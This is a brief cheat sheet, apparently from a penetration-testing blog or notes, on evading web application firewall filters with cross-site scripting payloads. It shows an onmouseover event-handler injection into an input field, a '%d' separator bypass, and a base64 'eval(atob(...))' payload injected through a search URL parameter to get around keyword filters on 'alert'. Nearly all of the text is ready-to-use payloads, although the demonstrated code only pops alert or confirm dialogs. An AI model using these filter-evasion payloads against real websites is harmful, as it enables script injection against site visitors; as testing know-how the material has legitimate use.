WAF Filter: ”onmouseover”

<input type=text name=firstname value=”Anna” onmouseover=alert(‘XSS within input field’) “>


ByPass:    %d

<input type=text name=firstname value=”Anna”%donmouseover=alert(‘XSS within input field’) “>

“ onmouseover=alert(‘XSS within input field’)


or

<input type=text name=firstname value=”Anna” onmouseover=alert(‘XSS within input field’) “>
WAF keyword Filter:alert (some test tools use 'alert')

Encode to byPass Filter :“eval(atob(“encryptedcontent”))”
/*“Y29uZmlybSgxKTs=” is base 64 encoded “confirm(1);”*/
URL:http://somesite.com/search?searchterm=%27);eval(atob(“Y29uZmlybSgxKTs=”));//
Source:

<script>
...
var foo = escape(‘’);eval(atob(“Y29uZmlybSgxKTs=”));//’);
...
</script>